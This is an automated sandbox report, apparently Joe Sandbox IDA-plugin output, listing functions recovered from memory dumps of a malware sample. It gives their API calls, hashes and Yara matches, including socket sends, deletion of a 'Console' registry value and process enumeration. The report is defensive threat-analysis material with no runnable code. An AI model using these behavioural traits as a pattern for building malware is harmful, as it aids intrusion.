Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: 2bc10adf9fef22cde17e098a943563c8af919ba6f2c6d551b5140092c959a4d1
Instruction ID: b2ed234e675612f36981330aa132c7c084d537c0fe0d62868b924052e0282539
Opcode Fuzzy Hash: 2bc10adf9fef22cde17e098a943563c8af919ba6f2c6d551b5140092c959a4d1
Instruction Fuzzy Hash: FD31CD72A44204ABD720CF94E989F6AB3A8FB48714F408A5EFD15C7790E736EC10CB61

Function 00975060 Relevance: 9.1, APIs: 6, Instructions: 107networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(000002FF), ref: 009750AA
WSASetLastError.WS2_32(0000139F), ref: 009750C2
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,?,00000000,000000FF), ref: 009750CC

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeave
String ID:
API String ID: 4082018349-0
Opcode ID: bc6b0caa892a10a35dbb2a0c47462862e638405a6bacbfcf92b4c812b9f43676
Instruction ID: 1533b3243e946d8992309dc490f65c1f6bc21f0b5afa7278d8a2c12c6eb83d87
Opcode Fuzzy Hash: bc6b0caa892a10a35dbb2a0c47462862e638405a6bacbfcf92b4c812b9f43676
Instruction Fuzzy Hash: 38317076A08A44DBD710CF55ED86B6AB3E8FB88711F00851AF919C7781D776E800CB91

Function 0097485A Relevance: 9.1, APIs: 6, Instructions: 91sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 009748E1
WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 009748EC
Sleep.KERNEL32(00000258,?,E484B528,?,?,?), ref: 009748F9
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 00974914
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 0097491D
Sleep.KERNEL32(0000012C,?,E484B528,?,?,?), ref: 0097492E

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: CloseHandleObjectSingleSleepWait
String ID:
API String ID: 640476663-0
Opcode ID: e6cd326563fd8e9a74a1396add1adf4ab5a6178793c02a1fb8bc27f9fc72e961
Instruction ID: a3d0eee4099f8ea9b4ac51b2c08b5efa757edd9de1cbcd552d500690914efab8
Opcode Fuzzy Hash: e6cd326563fd8e9a74a1396add1adf4ab5a6178793c02a1fb8bc27f9fc72e961
Instruction Fuzzy Hash: 5C2137761086489BC710EFA8DD489C7F7F9FF89754B158B08E59887392C7349C09CBA1

Function 02D205AE Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 02D205D6

Part of subcall function 02D200B7: __getptd.LIBCMT ref: 02D200C5
Part of subcall function 02D200B7: __getptd.LIBCMT ref: 02D200D3

__getptd.LIBCMT ref: 02D205E0

Part of subcall function 02D13E5B: __getptd_noexit.LIBCMT ref: 02D13E5E
Part of subcall function 02D13E5B: __amsg_exit.LIBCMT ref: 02D13E6B

__getptd.LIBCMT ref: 02D205EE
__getptd.LIBCMT ref: 02D205FC
__getptd.LIBCMT ref: 02D20607
_CallCatchBlock2.LIBCMT ref: 02D2062D

Part of subcall function 02D2015C: __CallSettingFrame@12.LIBCMT ref: 02D201A8

Part of subcall function 02D206D4: __getptd.LIBCMT ref: 02D206E3
Part of subcall function 02D206D4: __getptd.LIBCMT ref: 02D206F1

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 6e1d7d08e8656124dfac85f8a1876976be5b585b28d7ef1ed5f7230407502b5a
Instruction ID: f4825ee50c5ea4f475c27b247282202656510170cd38c15a3d405fbc3f02bd7e
Opcode Fuzzy Hash: 6e1d7d08e8656124dfac85f8a1876976be5b585b28d7ef1ed5f7230407502b5a
Instruction Fuzzy Hash: 4711F9B1C00309EFDF00EFA4D444A9D7BB1FF14315F1081A9E855A7350DB3899159F60

Function 009836A3 Relevance: 9.0, APIs: 6, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 009836CB

Part of subcall function 0098325B: __getptd.LIBCMT ref: 00983269
Part of subcall function 0098325B: __getptd.LIBCMT ref: 00983277

__getptd.LIBCMT ref: 009836D5

Part of subcall function 0097990F: __getptd_noexit.LIBCMT ref: 00979912
Part of subcall function 0097990F: __amsg_exit.LIBCMT ref: 0097991F

__getptd.LIBCMT ref: 009836E3
__getptd.LIBCMT ref: 009836F1
__getptd.LIBCMT ref: 009836FC
_CallCatchBlock2.LIBCMT ref: 00983722

Part of subcall function 00983300: __CallSettingFrame@12.LIBCMT ref: 0098334C

Part of subcall function 009837C9: __getptd.LIBCMT ref: 009837D8
Part of subcall function 009837C9: __getptd.LIBCMT ref: 009837E6

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: __getptd$Call$Block2CatchCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 1602911419-0
Opcode ID: 9eb8fbdff6370697fd3d774c20937fa029b557b4ad5e28059c5609ea49fbd8d8
Instruction ID: 13d14addafa90d0032f3a61d7b3a05e347c71888aa5c265a89f478065743c40c
Opcode Fuzzy Hash: 9eb8fbdff6370697fd3d774c20937fa029b557b4ad5e28059c5609ea49fbd8d8
Instruction Fuzzy Hash: E311D7B1C00209DFDB00EFA4D486BEE7BB1FF44314F108469F968A7251EB389A159F50

Function 02D14885 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 02D14891

Part of subcall function 02D13E5B: __getptd_noexit.LIBCMT ref: 02D13E5E
Part of subcall function 02D13E5B: __amsg_exit.LIBCMT ref: 02D13E6B

__amsg_exit.LIBCMT ref: 02D148B1
__lock.LIBCMT ref: 02D148C1
InterlockedDecrement.KERNEL32(?), ref: 02D148DE
_free.LIBCMT ref: 02D148F1
InterlockedIncrement.KERNEL32(032C1648), ref: 02D14909

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 774c6439d22a8b84ec12526f716ccf2ef140f8b9db6799b72216c3bf3beedee2
Instruction ID: d2623227e43f48e2b3d09e7bbbd364ca58d1187730575049b12e86f1e90933df
Opcode Fuzzy Hash: 774c6439d22a8b84ec12526f716ccf2ef140f8b9db6799b72216c3bf3beedee2
Instruction Fuzzy Hash: D201A932D417E2BBEB20AB68B008799B3A1FF04B21F254405E854A7B80CB30AC55CFE1

Function 0097D9BE Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0097D9CA

Part of subcall function 0097990F: __getptd_noexit.LIBCMT ref: 00979912
Part of subcall function 0097990F: __amsg_exit.LIBCMT ref: 0097991F

__amsg_exit.LIBCMT ref: 0097D9EA
__lock.LIBCMT ref: 0097D9FA
InterlockedDecrement.KERNEL32(?), ref: 0097DA17
_free.LIBCMT ref: 0097DA2A
InterlockedIncrement.KERNEL32(027D1648), ref: 0097DA42

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 8b8fba2d8462a9365bcc3682ed776ff08e18f9fc164d6493637d1715f8af427e
Instruction ID: 2450734b867a13a13c110d2af12d8c6a349ea2e1bd4c6b3f8bf879536c49543d
Opcode Fuzzy Hash: 8b8fba2d8462a9365bcc3682ed776ff08e18f9fc164d6493637d1715f8af427e
Instruction Fuzzy Hash: 1B01C03391BA219BC724AF68940676DB3B4BF40710F188119F81DB7380CB34A941DBD5

Function 009748C7 Relevance: 9.0, APIs: 6, Instructions: 44sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 009748E1
WaitForSingleObject.KERNEL32(?,000000FF,?,E484B528,?,?,?), ref: 009748EC
Sleep.KERNEL32(00000258,?,E484B528,?,?,?), ref: 009748F9
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 00974914
CloseHandle.KERNEL32(?,?,E484B528,?,?,?), ref: 0097491D
Sleep.KERNEL32(0000012C,?,E484B528,?,?,?), ref: 0097492E

Part of subcall function 00973F60: GetCurrentThreadId.KERNEL32 ref: 00973F65
Part of subcall function 00973F60: send.WS2_32(?,00987440,00000010,00000000), ref: 00973FC6
Part of subcall function 00973F60: SetEvent.KERNEL32(?), ref: 00973FE9
Part of subcall function 00973F60: InterlockedExchange.KERNEL32(?,00000000), ref: 00973FF5
Part of subcall function 00973F60: WSACloseEvent.WS2_32(?), ref: 00974003
Part of subcall function 00973F60: shutdown.WS2_32(?,00000001), ref: 0097401B
Part of subcall function 00973F60: closesocket.WS2_32(?), ref: 00974025

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Close$EventHandleObjectSingleSleepWait$CurrentExchangeInterlockedThreadclosesocketsendshutdown
String ID:
API String ID: 1019945655-0
Opcode ID: 9d8722712c6eba4b0af73b6554568a8cd8c4268c02056c41e2cd1ab7d302dcd1
Instruction ID: 91767d40d874ba6aa43789f4456955e209aff0741d90bde10dbd23712f9782cf
Opcode Fuzzy Hash: 9d8722712c6eba4b0af73b6554568a8cd8c4268c02056c41e2cd1ab7d302dcd1
Instruction Fuzzy Hash: C6F036762046049BC614EB69DC84D8BF3E9EFC5720B158B09F26D97794CA74EC059BA0

Function 02D09BA0 Relevance: 9.0, APIs: 6, Instructions: 42COMMON

Download Yara Rule

APIs

DeleteObject.GDI32(?), ref: 02D09BD2
EnterCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09BE3
EnterCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09BF8
GdiplusShutdown.GDIPLUS(00000000,?,?,?,02D09B7B), ref: 02D09C04
LeaveCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09C15
LeaveCriticalSection.KERNEL32(02D2FB64,?,?,?,02D09B7B), ref: 02D09C1C

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$DeleteGdiplusObjectShutdown
String ID:
API String ID: 4268643673-0
Opcode ID: e6a0394b44a35eebdf0b4c332fd80b19040f46a1e6b9080a75b93617536fccd4
Instruction ID: 4dfc911ac006a12fe01a40bdb7020e710f0a1728260c353b6ae67ac4f28f0cbe
Opcode Fuzzy Hash: e6a0394b44a35eebdf0b4c332fd80b19040f46a1e6b9080a75b93617536fccd4
Instruction Fuzzy Hash: 600148B1D40310EF97249F6AA9D4415BBB4BF6871936189AEE4098A342C332CC1BCB94

Function 02D048D0 Relevance: 9.0, APIs: 6, Instructions: 36sleepsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 02D048E1
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02D048EC
Sleep.KERNEL32(00000258), ref: 02D048F9
CloseHandle.KERNEL32(?), ref: 02D04914
CloseHandle.KERNEL32(?), ref: 02D0491D
Sleep.KERNEL32(0000012C), ref: 02D0492E

Part of subcall function 02D03F60: GetCurrentThreadId.KERNEL32 ref: 02D03F65
Part of subcall function 02D03F60: send.WS2_32(?,02D249C0,00000010,00000000), ref: 02D03FC6
Part of subcall function 02D03F60: SetEvent.KERNEL32(?), ref: 02D03FE9
Part of subcall function 02D03F60: InterlockedExchange.KERNEL32(?,00000000), ref: 02D03FF5
Part of subcall function 02D03F60: WSACloseEvent.WS2_32(?), ref: 02D04003
Part of subcall function 02D03F60: shutdown.WS2_32(?,00000001), ref: 02D0401B
Part of subcall function 02D03F60: closesocket.WS2_32(?), ref: 02D04025

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Close$EventHandleObjectSingleSleepWait$CurrentExchangeInterlockedThreadclosesocketsendshutdown
String ID:
API String ID: 1019945655-0
Opcode ID: fab7b87ca8abb7daf3fe870f31beaf9cfe39be2e3a66ebde96d19ec1834aca48
Instruction ID: 95d8515c6655023586a6bf22037e0e46b1aab31617badb82e55a429d49af908e
Opcode Fuzzy Hash: fab7b87ca8abb7daf3fe870f31beaf9cfe39be2e3a66ebde96d19ec1834aca48
Instruction Fuzzy Hash: E5F090362046045BC320EBA9DC84D4AF3E9EFD8720B218B09F265833D0CA71EC01CBA0

Function 02D03300 Relevance: 9.0, APIs: 6, Instructions: 32synchronizationsleepCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 02D03311
Sleep.KERNEL32(00000258), ref: 02D0331E
InterlockedExchange.KERNEL32(?,00000000), ref: 02D03326
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02D03332
WaitForSingleObject.KERNEL32(?,000000FF), ref: 02D0333A
Sleep.KERNEL32(0000012C), ref: 02D0334B

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$Sleep$ExchangeInterlocked
String ID:
API String ID: 3137405945-0
Opcode ID: 7c94f639f8ed72d3b29e306cb0c26e29521fe8415cbf1c39bac4a451f80fbead
Instruction ID: 4a66a08041140acb8df1f8b02dede06a0994388121265b186c2c48cf1277aee1
Opcode Fuzzy Hash: 7c94f639f8ed72d3b29e306cb0c26e29521fe8415cbf1c39bac4a451f80fbead
Instruction Fuzzy Hash: 79F082722443146BD7209BA9DC84D46F3E8AF99334B214B09F221833D0CAB1EC05CB60

Function 0282719F Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 028271C3
_memset.LIBCMT ref: 0282720F

Part of subcall function 028280DF: _vswprintf_s.LIBCMT ref: 028280F0

_memset.LIBCMT ref: 028272E2
_memset.LIBCMT ref: 02827373

Strings

D, xrefs: 028271FF

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_vswprintf_s
String ID: D
API String ID: 3424173483-2746444292
Opcode ID: 2f372f8b193b55f381ae2940e49f38bf8b0d2135d2ee914d7ca5118c505ab299
Instruction ID: b126a18c089ed38ce0e9b772dc16b5794f9ccfd763f19e3aa7f827bbe8ee288e
Opcode Fuzzy Hash: 2f372f8b193b55f381ae2940e49f38bf8b0d2135d2ee914d7ca5118c505ab299
Instruction Fuzzy Hash: CA81F7759402287BEB21DB658C89FEBB77CEF99700F500098F709A6181DBB05B858F68

Function 03FABA9B Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 03FABABF
_memset.LIBCMT ref: 03FABB0B

Part of subcall function 03FAC9DB: _vswprintf_s.LIBCMT ref: 03FAC9EC

_memset.LIBCMT ref: 03FABBDE
_memset.LIBCMT ref: 03FABC6F

Strings

D, xrefs: 03FABAFB

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_vswprintf_s
String ID: D
API String ID: 3424173483-2746444292
Opcode ID: 2f372f8b193b55f381ae2940e49f38bf8b0d2135d2ee914d7ca5118c505ab299
Instruction ID: c70504e64c048d25bef9b601619478dbc4d3c6ca131e238ff4c3d70ddc57c341
Opcode Fuzzy Hash: 2f372f8b193b55f381ae2940e49f38bf8b0d2135d2ee914d7ca5118c505ab299
Instruction Fuzzy Hash: 2F81C9B5940318BBE721DB658C89FEB77BCEF99701F504098F709A6180DBB05B858F64

Function 02D2095B Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02D2096E

Part of subcall function 02D208C9: ___BuildCatchObjectHelper.LIBCMT ref: 02D208FF

_UnwindNestedFrames.LIBCMT ref: 02D20985
___FrameUnwindToState.LIBCMT ref: 02D20993

Strings

csm, xrefs: 02D2095D
csm, xrefs: 02D2096A, 02D2097F, 02D20992, 02D209B0, 02D209C0

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction ID: f232811d6bd8ecdac7ed3076cab190dacc2aee2a5b88ca8b8d07a0e0c5d59d0a
Opcode Fuzzy Hash: a4ec08a577bcb042cc7356b16b645f83b0b4d35d15726398ffe3570c0dbe416a
Instruction Fuzzy Hash: 3C012F71001229BBEF12AF51CC44EAABF6AEF28399F048010BC4924660D732DDB5DBA0

Function 00983A50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 00983A63

Part of subcall function 009839BE: ___BuildCatchObjectHelper.LIBCMT ref: 009839F4

_UnwindNestedFrames.LIBCMT ref: 00983A7A
___FrameUnwindToState.LIBCMT ref: 00983A88

Strings

csm, xrefs: 00983A52
csm, xrefs: 00983A5F, 00983A74, 00983A87, 00983AA5, 00983AB5

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: BuildCatchObjectUnwind$FrameFramesHelperNestedState
String ID: csm$csm
API String ID: 2163707966-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: b22254a0a9eb8134070e9cada3d238cbbbdcbc7a874bdff47901cdbd51a0b718
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: 9D01E431001109BBDF16BF65CC45EAA7E6AEF48750F108014BD5915221E776DAB1DBA1

Function 02D0B7E9 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,Console,00000000,00000002), ref: 02D0B800
RegDeleteValueW.ADVAPI32(?,IpDatespecial), ref: 02D0B810
RegCloseKey.ADVAPI32(?), ref: 02D0B81B

Strings

Console, xrefs: 02D0B7F6
IpDatespecial, xrefs: 02D0B80A

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CloseDeleteOpenValue
String ID: Console$IpDatespecial
API String ID: 849931509-1840232981
Opcode ID: 175136c8453da59cfde813aa3e0e23ea3ded0f241a35de665e4fa5b455001304
Instruction ID: f81a95876a18d54c9e24fbd9330a25d50ef9d9edebf4fa4b68fea7448675a40e
Opcode Fuzzy Hash: 175136c8453da59cfde813aa3e0e23ea3ded0f241a35de665e4fa5b455001304
Instruction Fuzzy Hash: F6E02632680200AFE3348660BD0FFA9B364F7AC301F500A0DFA85A12408191E818C665

Function 02D0B990 Relevance: 7.6, APIs: 5, Instructions: 116processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,7A8163DF), ref: 02D0B9DA
_memset.LIBCMT ref: 02D0B9FB
_memset.LIBCMT ref: 02D0BA4B
Process32FirstW.KERNEL32(00000000,?), ref: 02D0BA65
Process32NextW.KERNEL32(00000000,0000022C), ref: 02D0BAB7

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Process32_memset$CreateFirstNextSnapshotToolhelp32_malloc
String ID:
API String ID: 2416807333-0
Opcode ID: 745e5f2b06b3106b035a3533c2caa908052c8a65f72c6cc446ba20ba4ca6c8d7
Instruction ID: d66246f68a72cc63b58178fa07f28090400bf67a45e28c18f9449e594cf91165
Opcode Fuzzy Hash: 745e5f2b06b3106b035a3533c2caa908052c8a65f72c6cc446ba20ba4ca6c8d7
Instruction Fuzzy Hash: 96412731A48214AFEB20DF60CCC5FAAB3B4EF14718F108255E9159B3D0E7B19E44CBA4

Function 028295EF Relevance: 7.6, APIs: 5, Instructions: 108COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 028295FE

Part of subcall function 0282F032: __FF_MSGBANNER.LIBCMT ref: 0282F04B
Part of subcall function 0282F032: __NMSG_WRITE.LIBCMT ref: 0282F052

_free.LIBCMT ref: 02829622
_memset.LIBCMT ref: 0282967A
_free.LIBCMT ref: 028296A3
_free.LIBCMT ref: 028296E2

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free$_malloc_memset
String ID:
API String ID: 2102557794-0
Opcode ID: e53316d21375d094fd0d01ad1aa4a9b8896b5686d1183deebe2b3030ce136b07
Instruction ID: 724986f3a7fcec11b44c3852904156765bdd80bdf468b0c8b45d8d7c4afa73ec
Opcode Fuzzy Hash: e53316d21375d094fd0d01ad1aa4a9b8896b5686d1183deebe2b3030ce136b07
Instruction Fuzzy Hash: D231C4BA6003656BE710DF69D880752B7D8BB58314F10813AD90DC7681F7B1E498CBA5

Function 03FADEEB Relevance: 7.6, APIs: 5, Instructions: 108COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 03FADEFA

Part of subcall function 03FB392E: __FF_MSGBANNER.LIBCMT ref: 03FB3947
Part of subcall function 03FB392E: __NMSG_WRITE.LIBCMT ref: 03FB394E

_free.LIBCMT ref: 03FADF1E
_memset.LIBCMT ref: 03FADF76
_free.LIBCMT ref: 03FADF9F
_free.LIBCMT ref: 03FADFDE

Memory Dump Source

Source File: 00000006.00000003.3578743810.0000000003FA4000.00000004.00000020.00020000.00000000.sdmp, Offset: 03FA4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_3_3fa4000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _free$_malloc_memset
String ID:
API String ID: 2102557794-0
Opcode ID: e53316d21375d094fd0d01ad1aa4a9b8896b5686d1183deebe2b3030ce136b07
Instruction ID: 60a1a863c7a322fea68d2e68fca58499bd8fd9a186b290dc0c26350517735911
